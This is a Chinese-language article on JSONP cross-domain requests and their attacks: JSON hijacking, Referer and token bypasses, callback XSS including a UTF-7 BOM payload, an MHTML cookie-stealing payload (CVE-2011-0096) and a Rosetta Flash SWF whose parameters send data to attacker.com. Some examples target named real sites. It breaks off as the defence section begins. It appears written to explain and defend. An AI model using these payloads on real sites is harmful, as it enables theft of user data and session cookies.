Ajax跨域：Jsonp原理解析

關於 JSONP

JSONP 全稱是 JSON with Padding ，是基於 JSON 格式的為解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 里 <script></script> 元素標簽，遠程調用 JSON 文件來實現數據傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數據( getUsers.JSON )：

1	{"id" : "1","name" : "知道創宇"}

那么他們可以首先通過 JSONP 的“ Padding ”這個 getUsers.JSON 輸出為：

1	callback({"id" : "1","name" : "知道創宇"});

對於實際應用過程中 callback 的名稱在后台實現是動態輸出的。如上面例子在 PHP 實現：

1

<?php

2	//getUsers.php

3	$callback = $_GET['callback'];

4	print $callback . '({"id" : "1","name" : "知道創宇"});';

5

?>

然后在 a.com 使用 <script> 進行遠程調用,在 Jquery 里可以直接這樣調用：

1	<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>

2	<script type="text/javascript">

3	$.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){

4	alert(getUsers.name);

5

});

6

</script>

然而，安全問題一直都是伴隨着業務發展而出現的，JSONP 的出現同樣帶來了各種各樣的安全問題。本文對 JSONP 實現過程中給帶來的安全攻防問題做了一些簡單介紹。

 

一、JSON 劫持

JSON 劫持又為“ JSON Hijacking ”，最開始提出這個概念大概是在 2008 年國外有安全研究人員提到這個 JSONP 帶來的風險。其實這個問題屬於 CSRF（ Cross-site request forgery 跨站請求偽造）攻擊范疇。當某網站聽過 JSONP 的方式來快域（一般為子域）傳遞用戶認證后的敏感信息時，攻擊者可以構造惡意的 JSONP 調用頁面，誘導被攻擊者訪問來達到截取用戶敏感信息的目的。一個典型的 JSON Hijacking 攻擊代碼：

1

<script>

2	function wooyun(v){

3	alert(v.username);

4

}

5

</script>

6	<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

這個是在烏雲網上報告的一個攻擊例子（ WooYun-2012-11284 ）http://www.wooyun.org/bug.php?action=view&id=11284 當被攻擊者在登陸 360 網站的情況下訪問了該網頁時，那么用戶的隱私數據（如用戶名，郵箱等）可能被攻擊者劫持。

雖然這種攻擊已經出現了好幾年了，但是目前在大的門戶網站都還普遍存在的，而且由於安全意識問題很多官方可能還不認為這是一個安全問題，上面提到的例子其實當時在烏雲網站上 360 是忽視了的！

當然還是隨着安全意識和技術水平的提高，很多甲方公司開始重視此類安全問題，開始着手研究解決方案。其中一個方案就是驗證 JSON 文件調用的來源（ Referer ）。這個方案是主要利用了 <script> 遠程加載 JSON 文件時會發送 Referer ，在網站輸出 JSON 數據時判斷 Referer 是不是白名單合法的就可以進行防御！這個方法是可行的，但是具體實現過程中又容易導致 2 總常見的邏輯問題：

1、Referer 過濾（正則）不嚴謹

比如 http://www.qq.com/login.php?calback=cb 輸出數據時,使用了 Referer 過濾。但是可惜過濾的時候只過濾了 Referer 里是否存在 qq.com 這樣的關鍵詞，那么攻擊者可以聽過構造 URL：http://www.qq.com.attack.com/attack.htm  或者 http://www.attack.com/attack.htm?qq.com 這樣的頁面來發起攻擊實現繞過 Referer 防御。

2、空 Referer

在很多情況下，開發者在部署過濾 Referer 來源時，忽視了一個空 Referer 的過濾。一般情況下瀏覽器直接訪問某 URL 是不帶 Referer 的，所以很多防御部署是允許空 Referer 的。恰恰也就是這個忽視，導致了整個防御的奔潰。因為在通過跨協議調用 js 時，發送的 http 請求里 Referer 為空！ 跨協議調用的一個簡單例子：

1	<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

代碼里我們使用 <iframe> 調用 javscript 偽協議來實現空 Referer 調用 JSON 文件。

另外一種防御手段就是通過隨機 token 來防御，這個技術在 qq 的網站上應用比較多，如：http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=[QQ號碼]&g_tk=[隨機token] 來輸出 JSON ，同樣這個方案也是效的，但是同樣可以出現防御實現的不嚴謹問題。如這個 token 可以暴力。如：

1	function _Callback(o) {

2	alert(o.items[0].uin);

3

}

4	for (i = 17008; i < 17009; i++) { //暴力循環調用

5	getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk=" + i);

6

}

當然以上的方式是單純的針對“ JSON 劫持”本身的來展開的各種攻防戰。但是在現實里，很多漏洞是配合組合來實現突破的，比如上面提到的限制 Referer+ 部署隨機 token 實現都很完美，無懈可擊！但是只要在該網站上出現一個 XSS 漏洞，那么利用這個 XSS 漏洞可能讓你的防御體系瞬間崩潰！ 另外這里順帶提一點：以上的方法是一些通用實現“ JSON 劫持”的方法，但是現實中某些瀏覽器的一些特有的處理機制（如 CSS 加載，錯誤信息顯示等），導致一些類似“ JSON 劫持”（攻擊對象不一定是 JSON ）的攻擊！

 

二、Callback 可定義導致的安全問題

在本文開頭介紹 JSON 原理的就說明了可能是為了方便前段開發調用，一般輸出時都是可定義的，開頭提到的 php 實現的代碼：

1

<?php

2	//getUsers.php

3	$callback = $_GET['callback'];

4	print $callback . '({"id" : "1","name" : "知道創宇"});';

5

?>

也就是這個可定義化的 callback 名輸出點又導致了各種安全問題，當然嚴格上來說里面提到的具體數據輸出也是可以利用的，只是本文重點強調的 callback 這個輸出點。

1、Content-Type 與 XSS 漏洞

在早期 JSON 出現時候，大家都沒有合格的編碼習慣。再輸出 JSON 時，沒有嚴格定義好 Content-Type（ Content-Type: application/json ）然后加上 callback 這個輸出點沒有進行過濾直接導致了一個典型的 XSS 漏洞，上面演示的 getUsers.php 就存在這個問題：

1	http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

對於 Content-Type 來說早期還有一部分人比較喜歡使用 application / javascript  而這個頭在 IE 等瀏覽器下一樣可以解析 HTML 導致 XSS 漏洞。對於這種類型的漏洞，防御主要是從兩個點去部署的：

a、嚴格定義 Content-Type: application / json

這樣的防御機制導致了瀏覽器不解析惡意插入的 XSS 代碼（直接訪問提示文件下載）。但是凡事都有個案，在 IE 的進化過程中就出現過通過一些技巧繞過 Content-Type 防御解析 html ，比如在 IE6、7 等版本時請求的 URL 文件后面加一個 /x.html 就可以解析 html （ http://127.0.0.1/getUsers.php/x.html?callback=<script>alert(/xss/)</script>  ） 具體參考：http://hi.baidu.com/hi_heige/item/f1ecde01c4af3ed61ef04646

b、過濾 callback 以及 JSON 數據輸出

這樣的防御機制是比較傳統的攻防思維，對輸出點進行 xss 過濾。又是一個看上去很完美的解決方案，但是往往都是“事與願違”。當年( 2011 年)一個 utf7-BOM 就復活了 n 個 XSS 漏洞。這種攻擊方式主要還是存在與 IE 里(注在 IE 較新版本里已經“修復”) 也就是當我們在 callback 點輸出 +/v8 這樣的 utf7-BOM 的時候， IE 瀏覽器會把當前執行的編碼認為是 utf7 ,所以我們通過 utf7 提交的 XSS 代碼會被自動解碼並執行。如：

1	http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA

2	8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApA

3	DsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk

4	APgA8AC8AaAB0AG0APg-%20

其中：

1

%2B%2Fv8

2	%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY

3	wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAv

4	AHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8

5	AaAB0AG0APg-%20

URLdecode 為：

1

+/v8

2	+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY

3	wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADs

4	APAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkA

5	HkAPgA8AC8AaAB0AG0APg-

其中 +/v8  為 utf7-BOM ，后面的為我們注入的 utf-7 編碼后的 XSS 代碼的：

1	<htm><body><script>alert(1);</script></body></htm>

[參考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346]

這次利用 utf7-BOM 的方法是一個非常有代表性的通用方法，IE 后面的升級也是做一定的防御，另外在開發者角度也給出了防御方法直接強制指定 Content-Type里的編碼 ( Content-Type: application/json; charset=utf-8 )  對於現在的瀏覽器上，雖然沒有比較通用的技巧，但是對於開發者本事過濾的機制一樣可能存在各種繞過的可能。

看來上面提到的 a 和 b 兩點的防御缺一都可能出問題，那么我們使用“ a + b 方案”，也就是兩者都上是不是很安全了不會出現問題了呢？一切皆有可能，我們拭目以待！

 

三、其他文件格式（ Content-Type ）與 JSON

1、MHTML 與 JSONP

在 2011 年 IE 曾經出現過一個聽過 mhtml 協議解析跨域的漏洞：MHTML  Mime-Formatted Request Vulnerability  ( CVE-2011-0096 )  https://technet.microsoft.com/library/security/ms11-026 而當時的一個常見利用就是利用 JSONP 調用機制里的 Callback 函數名輸出點：

1	<iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-

2	Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d

3	WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll

4	KTsNCmZ1bmN0aW9uIGNyb3NzY

5	29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I

6	DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5

7	kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc

8	m9zc2Nvb2tpZSgpIiwxMDAwKTsNC

9	jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>

[詳見： 《Hacking with mhtml protocol handler》http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt]

這個點就充分利用了 callback 輸出點直接輸出一個 mhtml 文件格式，然后利用 <iframe> 調用 mhtml 標簽解析並執行 html 及 javascript 代碼，這也就是一個通用性的 XSS 漏洞（ UXSS ），隨后微軟緊急推出了解決方案及漏洞補丁程序！而對於開發者防御而已在微軟推出安全補丁之前這個漏洞影響 Google 等國際大型網站，到時 Google 為了防御這類補丁，啟用的防御措施是，在 JSON 輸出 callback 時，在文件開頭增加了多個換行回車讓遠程 mhtml 調用時解析失敗。

在攻擊角度來說，這個充分利用了計算機體系里各種文件格式識別機制，這個也和 Callback 直接在 json 文件開頭輸出的突然優勢！在這個思維的引導下，后面還出現各種各樣的文件格式加載帶來的安全問題，比如 CSS 文件格式加載導致的類“ JSON 劫持”的安全問題、JS 加載及各種文件格式編碼帶來的安全問題等等。歷史進程里往往會出現各種驚人的相識，JSONP 與文件格式的各種傳奇還在上演...

2、FLASH 與 JSONP

該來的始終會來，只是沒想到相似的場景上演到這么快!就在最近的一次 flash 安全更新 ( security bulletin APSB14-17[http://helpx.adobe.com/security/products/flash-player/apsb14-17.html] ) 里修復了一個安全漏洞：

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs ( CVE-2014-4671 ).

而這個漏洞因影響到 Google、Facebook、Tumblr 等國際大網站而倍受國內外媒體的關注。而這個攻擊技術就和 JSONP 的 callback 點息息相關. 這個問題主要存在 HTML 通過<embed>、<object>調用遠程 flash 文件時，會直接忽視 Content-Type 而 JSONP 的 callback 輸出一般都在文件開頭就輸出，那么完全可以通過 callback 點輸出一個 swf 的文件，然遠程 html 調用並運行 swf 文件。如：

1

<script>

2	// from http://50.56.33.56/blog/?p=242

3	var flashvars = {};

4	var params = {};

5	var attributes = {};

6

var url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";

7	swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);

8

</script>

這樣早在 2012 年提出的通過 callback 輸出的 swf 文件流，的實際效果是在被攻擊的網站上存放了一個惡意的 swf 文件，而 html 遠程調用這個 swf 文件可以直接導致 CSRF 攻擊.
[具體上傳 flash 文件帶來的 CSRF 攻擊請參考我寫的《 Flash+Upload Csrf  攻擊技術》 http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]

細心的朋友可能發現上面代碼里 callback 輸出的 swf 文件流里存着各種各樣的特殊字符，這個對於上面提到的“ b、過濾 callback 以及 JSON 數據輸出”防御方案直接給攔截了，對於 Goolge 、Facebook 這樣久經考驗的大網站來說，防御應該不在話下！

在 flash 的更新“ security bulletin APSB14-17 ”發布后，該漏洞發現者給出了詳細的漏洞細節其中一個亮點就是作者實現了一個純 alphanumeric 輸出的 swf 文件的方法，如：

01	<object type="application/x-shockwave-flash"

02	data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZ

03	UnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0

04	333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU

05	5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud

06	IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe

07	RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN

08	qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD

09	DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH

10	ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf

11	HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU

12	U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD

13	GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX

14	HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX

15	HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U

16	p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0

17	333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn

18	nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w

19	DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH

20	No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG

21	wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee

22	orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH

23	voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3

24	SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo

25	oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

26	oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

27	ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8

28	88888880Nj0h"

29	style="display: none">

30	<param name="FlashVars"

31	value="url=https://vulnerable.com/account/sensitive_content_logged_in

32	&exfiltrate=http://attacker.com/log.php">

33

</object>

具體請參考：http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

所以對於純 alphanumeric 的輸出來說，那些針對 XSS 的過濾顯然是可以直接忽略，這個漏洞也就是證明了上面我們提到的“ a + b 方案”直接繞過了！

 

四、防御

通過上面的攻防對抗演練，很多開發者可能會感覺有點悲劇的味道，各種防御機制好像都有辦法繞過。這里我想到一個真理：沒有絕對的安全！那么我們防御的意義在哪里呢？我認為防御的意義就是雖然沒辦法讓開發的程序最安全（絕對安全），但是可以讓它更安全！提高攻擊者的技術成本的門檻是安全防御的一個主要的重要的方向。我們回到具體的 JSONP 防御上可以總結如下幾點：